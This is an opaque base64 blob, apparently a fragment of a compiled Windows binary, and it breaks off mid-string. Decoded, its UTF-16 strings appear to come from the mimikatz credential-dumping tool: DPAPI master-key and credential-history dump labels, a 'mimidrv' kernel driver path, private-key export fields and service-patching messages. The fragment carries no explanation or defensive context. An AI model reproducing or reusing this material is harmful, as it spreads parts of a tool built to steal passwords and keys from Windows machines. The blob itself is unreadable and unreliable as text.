kATQBFAF8AUABSAE8AUABfAEkARAAAAAAAAAAAAEMARQBSAFQAXwBSAE8ATwBUAF8AUABSAE8ARwBSAEEATQBfAEMASABBAEkATgBfAFAATwBMAEkAQwBJAEUAUwBfAFAAUgBPAFAAXwBJAEQAAAAAAAAAAABDAEUAUgBUAF8AUwBNAEEAUgBUAF8AQwBBAFIARABfAFIARQBBAEQARQBSAF8ATgBPAE4AXwBSAEUATQBPAFYAQQBCAEwARQBfAFAAUgBPAFAAXwBJAEQAAAAAAEMARQBSAFQAXwBTAEgAQQAyADUANgBfAEgAQQBTAEgAXwBQAFIATwBQAF8ASQBEAAAAAABDAEUAUgBUAF8AUwBDAEUAUABfAFMARQBSAFYARQBSAF8AQwBFAFIAVABTAF8AUABSAE8AUABfAEkARAAAAAAAQwBFAFIAVABfAFMAQwBFAFAAXwBSAEEAXwBTAEkARwBOAEEAVABVAFIARQBfAEMARQBSAFQAXwBQAFIATwBQAF8ASQBEAAAAQwBFAFIAVABfAFMAQwBFAFAAXwBSAEEAXwBFAE4AQwBSAFkAUABUAEkATwBOAF8AQwBFAFIAVABfAFAAUgBPAFAAXwBJAEQAAAAAAEMARQBSAFQAXwBTAEMARQBQAF8AQwBBAF8AQwBFAFIAVABfAFAAUgBPAFAAXwBJAEQAAABDAEUAUgBUAF8AUwBDAEUAUABfAFMASQBHAE4ARQBSAF8AQwBFAFIAVABfAFAAUgBPAFAAXwBJAEQAAABDAEUAUgBUAF8AUwBDAEUAUABfAE4ATwBOAEMARQBfAFAAUgBPAFAAXwBJAEQAAAAAAAAAQwBFAFIAVABfAFMAQwBFAFAAXwBFAE4AQwBSAFkAUABUAF8ASABBAFMASABfAEMATgBHAF8AQQBMAEcAXwBQAFIATwBQAF8ASQBEAAAAAABDAEUAUgBUAF8AUwBDAEUAUABfAEYATABBAEcAUwBfAFAAUgBPAFAAXwBJAEQAAABQAFIATwBWAF8AYwBuAGcAAAAAAEEAVABfAEsARQBZAEUAWABDAEgAQQBOAEcARQAAAAAAQQBUAF8AUwBJAEcATgBBAFQAVQBSAEUAAAAAAEMATgBHACAASwBlAHkAAABDAEUAUgBUAF8AdQBuAGsAXwBmAHUAdAB1AHIAZQBfAHUAcwBlAAAAQwBFAFIAVABfAHUAbgBrAF8ANgAzAF8AbQBhAHkAYgBlAF8AZgB1AHQAdQByAGUAXwB1AHMAZQAAAAAAQwBFAFIAVABfAHIAZQBzAGUAcgB2AGUAZABfAHAAcgBvAHAAXwBpAGQAAABDAEUAUgBUAF8AdQBzAGUAcgBfAHAAcgBvAHAAXwBpAGQAAAAlACoAcwAqACoAQgBMAE8AQgAqACoACgAAAAAAJQAqAHMAIAAgAGQAdwBWAGUAcgBzAGkAbwBuACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABnAHUAaQBkAFAAcgBvAHYAaQBkAGUAcgAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAACUAKgBzACAAIABkAHcATQBhAHMAdABlAHIASwBlAHkAVgBlAHIAcwBpAG8AbgAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAAZwB1AGkAZABNAGEAcwB0AGUAcgBLAGUAeQAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAlACoAcwAgACAAZAB3AEYAbABhAGcAcwAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUAIAAoAAAAKQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBEAGUAcwBjAHIAaQBwAHQAaQBvAG4ATABlAG4AIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABzAHoARABlAHMAYwByAGkAcAB0AGkAbwBuACAAIAAgACAAIAAgADoAIAAlAHMACgAAACUAKgBzACAAIABhAGwAZwBDAHIAeQBwAHQAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAgACgAJQBzACkACgAAAAAAAAAlACoAcwAgACAAZAB3AEEAbABnAEMAcgB5AHAAdABMAGUAbgAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcAUwBhAGwAdABMAGUAbgAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAAcABiAFMAYQBsAHQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAlACoAcwAgACAAZAB3AEgAbQBhAGMASwBlAHkATABlAG4AIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAJQAqAHMAIAAgAHAAYgBIAG0AYQBjAGsASwBlAHkAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAJQAqAHMAIAAgAGEAbABnAEgAYQBzAGgAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1ACAAKAAlAHMAKQAKAAAAAAAAACUAKgBzACAAIABkAHcAQQBsAGcASABhAHMAaABMAGUAbgAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBIAG0AYQBjADIASwBlAHkATABlAG4AIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABwAGIASABtAGEAYwBrADIASwBlAHkAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAACUAKgBzACAAIABkAHcARABhAHQAYQBMAGUAbgAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAAcABiAEQAYQB0AGEAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAlACoAcwAgACAAZAB3AFMAaQBnAG4ATABlAG4AIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAJQAqAHMAIAAgAHAAYgBTAGkAZwBuACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAKAAoAAAAAACUAKgBzACoAKgBNAEEAUwBUAEUAUgBLAEUAWQAqACoACgAAACUAKgBzACAAIABkAHcAVgBlAHIAcwBpAG8AbgAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABzAGEAbAB0ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAJQAqAHMAIAAgAHIAbwB1AG4AZABzACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAJQAqAHMAIAAgAGEAbABnAEgAYQBzAGgAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUAIAAoACUAcwApAAoAAAAlACoAcwAgACAAYQBsAGcAQwByAHkAcAB0ACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAgACgAJQBzACkACgAAACUAKgBzACAAIABwAGIASwBlAHkAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAlACoAcwAqACoAQwBSAEUARABIAEkAUwBUACAASQBOAEYATwAqACoACgAAACUAKgBzACAAIABnAHUAaQBkACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAlACoAcwAqACoARABPAE0AQQBJAE4ASwBFAFkAKgAqAAoAAAAlACoAcwAgACAAZAB3AFMAZQBjAHIAZQB0AEwAZQBuACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAAZAB3AEEAYwBjAGUAcwBzAGMAaABlAGMAawBMAGUAbgAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAAZwB1AGkAZABNAGEAcwB0AGUAcgBLAGUAeQAgACAAIAAgADoAIAAAAAAAJQAqAHMAIAAgAHAAYgBTAGUAYwByAGUAdAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAACUAKgBzACAAIABwAGIAQQBjAGMAZQBzAHMAYwBoAGUAYwBrACAAIAAgACAAOgAgAAAAAAAlACoAcwAqACoATQBBAFMAVABFAFIASwBFAFkAUwAqACoACgAAAAAAAAAAACUAKgBzACAAIABzAHoARwB1AGkAZAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAB7ACUALgAzADYAcwB9AAoAAAAAACUAKgBzACAAIABkAHcARgBsAGEAZwBzACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBNAGEAcwB0AGUAcgBLAGUAeQBMAGUAbgAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AEIAYQBjAGsAdQBwAEsAZQB5AEwAZQBuACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcAQwByAGUAZABIAGkAcwB0AEwAZQBuACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBEAG8AbQBhAGkAbgBLAGUAeQBMAGUAbgAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzAFsAbQBhAHMAdABlAHIAawBlAHkAXQAKAAAAJQAqAHMAWwBiAGEAYwBrAHUAcABrAGUAeQBdAAoAAAAlACoAcwBbAGMAcgBlAGQAaABpAHMAdABdAAoAAAAAACUAKgBzAFsAZABvAG0AYQBpAG4AawBlAHkAXQAKAAAAJQAqAHMAKgAqAEMAUgBFAEQASABJAFMAVAAqACoACgAAAAAAJQAqAHMAIAAgAGQAdwBWAGUAcgBzAGkAbwBuACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAZwB1AGkAZAAgACAAIAAgACAAIAA6ACAAAAAlACoAcwAgACAAZAB3AE4AZQB4AHQATABlAG4AIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACoAKgBDAFIARQBEAEgASQBTAFQAIABFAE4AVABSAFkAKgAqAAoAAAAAACUAKgBzACAAIABkAHcAVAB5AHAAZQAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIABhAGwAZwBIAGEAcwBoACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAgACgAJQBzACkACgAAAAAAJQAqAHMAIAAgAHIAbwB1AG4AZABzACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAcwBpAGQATABlAG4AIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAlACoAcwAgACAAYQBsAGcAQwByAHkAcAB0ACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUAIAAoACUAcwApAAoAAAAAACUAKgBzACAAIABzAGgAYQAxAEwAZQBuACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAG0AZAA0AEwAZQBuACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAUwBhAGwAdAAgACAAIAAgACAAIAA6ACAAAAAlACoAcwAgACAAUwBpAGQAIAAgACAAIAAgACAAIAA6ACAAAAAlACoAcwAgACAAcABTAGUAYwByAGUAdAAgACAAIAA6ACAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AYgBsAG8AYgAgADsAIABDAHIAeQBwAHQARABlAGMAcgB5AHAAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AYgBsAG8AYgAgADsAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBsAG8AcwBlAF8AaABwAHIAbwB2AF8AZABlAGwAZQB0AGUAXwBjAG8AbgB0AGEAaQBuAGUAcgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAGIAbABvAGIAIAA7ACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGgAawBlAHkAXwBzAGUAcwBzAGkAbwBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AbQBhAHMAdABlAHIAawBlAHkAXwB3AGkAdABoAF8AcwBoAGEARABlAHIAaQB2AGUAZABrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBsAG8AcwBlAF8AaABwAHIAbwB2AF8AZABlAGwAZQB0AGUAXwBjAG8AbgB0AGEAaQBuAGUAcgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAG0AYQBzAHQAZQByAGsAZQB5AF8AdwBpAHQAaABfAHMAaABhAEQAZQByAGkAdgBlAGQAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGgAawBlAHkAXwBzAGUAcwBzAGkAbwBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AZABvAG0AYQBpAG4AawBlAHkAXwB3AGkAdABoAF8AawBlAHkAIAA7ACAAQwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBkAG8AbQBhAGkAbgBrAGUAeQBfAHcAaQB0AGgAXwBrAGUAeQAgADsAIABDAHIAeQBwAHQAUwBlAHQASwBlAHkAUABhAHIAYQBtACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AZABvAG0AYQBpAG4AawBlAHkAXwB3AGkAdABoAF8AawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGMAbABvAHMAZQBfAGgAcAByAG8AdgBfAGQAZQBsAGUAdABlAF8AYwBvAG4AdABhAGkAbgBlAHIAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAGMAcgBlAGQAaABpAHMAdABfAGUAbgB0AHIAeQBfAHcAaQB0AGgAXwBzAGgAYQBEAGUAcgBpAHYAZQBkAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBjAGwAbwBzAGUAXwBoAHAAcgBvAHYAXwBkAGUAbABlAHQAZQBfAGMAbwBuAHQAYQBpAG4AZQByACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAGMAcgBlAGQAaABpAHMAdABfAGUAbgB0AHIAeQBfAHcAaQB0AGgAXwBzAGgAYQBEAGUAcgBpAHYAZQBkAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBoAGsAZQB5AF8AcwBlAHMAcwBpAG8AbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAbwBuAF8AdQBuAHAAcgBvAHQAZQBjAHQAAAAAAG8AbgBfAHAAcgBvAHQAZQBjAHQAAAAAAHIAZQBzAGUAcgB2AGUAZAAAAAAAcwB0AHIAbwBuAGcAAAAAAHIAZQBxAHUAaQByAGUAXwBzAHQAcgBvAG4AZwAAAAAAJQBzACAAOwAgAAAAdQBpAF8AZgBvAHIAYgBpAGQAZABlAG4AAAAAAHUAbgBrAG4AbwB3AG4AAABjAHIAZQBkAF8AcwB5AG4AYwAAAGEAdQBkAGkAdAAAAG4AbwBfAHIAZQBjAG8AdgBlAHIAeQAAAHYAZQByAGkAZgB5AF8AcAByAG8AdABlAGMAdABpAG8AbgAAAGMAcgBlAGQAXwByAGUAZwBlAG4AZQByAGEAdABlAAAAcwB5AHMAdABlAG0AAAAAAHAAcgBvAG0AcAB0AF8AbwBuAF8AdQBuAHAAcgBvAHQAZQBjAHQAAABwAHIAbwBtAHAAdABfAG8AbgBfAHAAcgBvAHQAZQBjAHQAAABwAHIAbwBtAHAAdABfAHMAdAByAG8AbgBnAAAACgA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0ACgBCAGEAcwBlADYANAAgAG8AZgAgAGYAaQBsAGUAIAA6ACAAJQBzAAoAPQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AAoAAAAlAGMAAAAAAD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQAKAAAAJQAqAHMARABpAHIAZQBjAHQAbwByAHkAIAAnACUAcwAnAAAAIAAoACUAcwApAAAAXAAAACoAAAAuAAAALgAuAAAAAAAlACoAcwAlADMAdQAgACUAYwB8ACcAJQBzACcACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBpAG8AYwB0AGwAXwBoAGEAbgBkAGwAZQAgADsAIABEAGUAdgBpAGMAZQBJAG8AQwBvAG4AdAByAG8AbAAgACgAMAB4ACUAMAA4AHgAKQAgADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBpAG8AYwB0AGwAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABcAFwALgBcAG0AaQBtAGkAZAByAHYAAAAlACoAcwAqACoASwBFAFkAIAAoAGMAYQBwAGkAKQAqACoACgAAAAAAAAAAACUAKgBzACAAIABkAHcAVQBuAGkAcQB1AGUATgBhAG0AZQBMAGUAbgAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBTAGkAUAB1AGIAbABpAGMASwBlAHkATABlAG4AIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AFMAaQBQAHIAaQB2AGEAdABlAEsAZQB5AEwAZQBuACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcARQB4AFAAdQBiAGwAaQBjAEsAZQB5AEwAZQBuACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBFAHgAUAByAGkAdgBhAHQAZQBLAGUAeQBMAGUAbgAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AEgAYQBzAGgATABlAG4AIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcAUwBpAEUAeABwAG8AcgB0AEYAbABhAGcATABlAG4AIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBFAHgARQB4AHAAbwByAHQARgBsAGEAZwBMAGUAbgAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABwAFUAbgBpAHEAdQBlAE4AYQBtAGUAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAJQBTAAoAAAAlACoAcwAgACAAcABIAGEAcwBoACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAACUAKgBzACAAIABwAFMAaQBQAHUAYgBsAGkAYwBLAGUAeQAgACAAIAAgACAAIAAgADoAIAAAAAAAJQAqAHMAIAAgAHAAUwBpAFAAcgBpAHYAYQB0AGUASwBlAHkAIAAgACAAIAAgACAAOgAKAAAAAAAlACoAcwAgACAAcABTAGkARQB4AHAAbwByAHQARgBsAGEAZwAgACAAIAAgACAAIAA6AAoAAAAAACUAKgBzACAAIABwAEUAeABQAHUAYgBsAGkAYwBLAGUAeQAgACAAIAAgACAAIAAgADoAIAAAAAAAJQAqAHMAIAAgAHAARQB4AFAAcgBpAHYAYQB0AGUASwBlAHkAIAAgACAAIAAgACAAOgAKAAAAAAAlACoAcwAgACAAcABFAHgARQB4AHAAbwByAHQARgBsAGEAZwAgACAAIAAgACAAIAA6AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGsAZQB5AF8AYwBuAGcAXwBjAHIAZQBhAHQAZQAgADsAIABrAHUAbABsAF8AbQBfAGsAZQB5AF8AYwBuAGcAXwBwAHIAbwBwAGUAcgB0AGkAZQBzAF8AYwByAGUAYQB0AGUAIAAoAHAAdQBiAGwAaQBjACkACgAAAAAAJQAqAHMAKgAqAEsARQBZACAAKABjAG4AZwApACoAKgAKAAAAJQAqAHMAIAAgAGQAdwBWAGUAcgBzAGkAbwBuACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAdQBuAGsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABkAHcATgBhAG0AZQBMAGUAbgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAHQAeQBwAGUAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAZAB3AFAAdQBiAGwAaQBjAFAAcgBvAHAAZQByAHQAaQBlAHMATABlAG4AIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABkAHcAUAByAGkAdgBhAHQAZQBQAHIAbwBwAGUAcgB0AGkAZQBzAEwAZQBuADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAGQAdwBQAHIAaQB2AGEAdABlAEsAZQB5AEwAZQBuACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAdQBuAGsAQQByAHIAYQB5AFsAMQA2AF0AIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAlACoAcwAgACAAcABOAGEAbQBlACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAlAC4AKgBzAAoAAAAlACoAcwAgACAAcABQAHUAYgBsAGkAYwBQAHIAbwBwAGUAcgB0AGkAZQBzACAAIAAgACAAIAA6ACAAAAAlACoAcwAgACAAcABQAHIAaQB2AGEAdABlAFAAcgBvAHAAZQByAHQAaQBlAHMAIAAgACAAIAA6AAoAAAAlACoAcwAgACAAcABQAHIAaQB2AGEAdABlAEsAZQB5ACAAIAAgACAAIAAgACAAIAAgACAAIAA6AAoAAAAlACoAcwAqACoASwBFAFkAIABDAE4ARwAgAFAAUgBPAFAARQBSAFQAWQAqACoACgAAAAAAAAAAACUAKgBzACAAIABkAHcAUwB0AHIAdQBjAHQATABlAG4AIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIAB0AHkAcABlACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIAB1AG4AawAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIABkAHcATgBhAG0AZQBMAGUAbgAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIABkAHcAUAByAG8AcABlAHIAdAB5AEwAZQBuACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAHAATgBhAG0AZQAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAJQAqAHMAIAAgAHAAUAByAG8AcABlAHIAdAB5ACAAIAAgACAAIAAgACAAOgAgAAAAJQB1ACAAZgBpAGUAbABkACgAcwApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AbgBlAHQAXwBnAGUAdABEAEMAIAA7ACAARABzAEcAZQB0AEQAYwBOAGEAbQBlADoAIAAlAHUACgAAAGEAAAAiACUAcwAiACAAcwBlAHIAdgBpAGMAZQAgAHAAYQB0AGMAaABlAGQACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaABfAGcAZQBuAGUAcgBpAGMAUAByAG8AYwBlAHMAcwBPAHIAUwBlAHIAdgBpAGMAZQBGAHIAbwBtAEIAdQBpAGwAZAAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAVgBlAHIAeQBCAGEAcwBpAGMATQBvAGQAdQBsAGUASQBuAGYAbwByAG0AYQB0AGkAbwBuAHMARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaABfAGcAZQBuAGUAcgBpAGMAUAByAG8AYwBlAHMAcwBPAHIAUwBlAHIAdgBpAGMAZQBGAHIAbwBtAEIAdQBpAGwAZAAgADsAIABTAGUAcgB2AGkAYwBlACAAaQBzACAAbgBvAHQAIAByAHUAbgBuAGkAbgBnAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AZwBlAHQAVQBuAGkAcQB1AGUARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAASQBuAGMAbwByAHIAZQBjAHQAIAB2AGUAcgBzAGkAbwBuACAAaQBuACAAcgBlAGYAZQByAGUAbgBjAGUAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAE8AcABlAG4AQQBuAGQAUQB1AGUAcgB5AFcAaQB0AGgAQQBsAGwAbwBjACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIABLAE8ACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAE8AcABlAG4AQQBuAGQAUQB1AGUAcgB5AFcAaQB0AGgAQQBsAGwAbwBjACAAOwAgAHAAcgBlACAALQAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIABLAE8ACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8ATwBwAGUAbgBBAG4AZABRAHUAZQByAHkAVwBpAHQAaABBAGwAbABvAGMAIAA7ACAAawB1AGwAbABfAG0A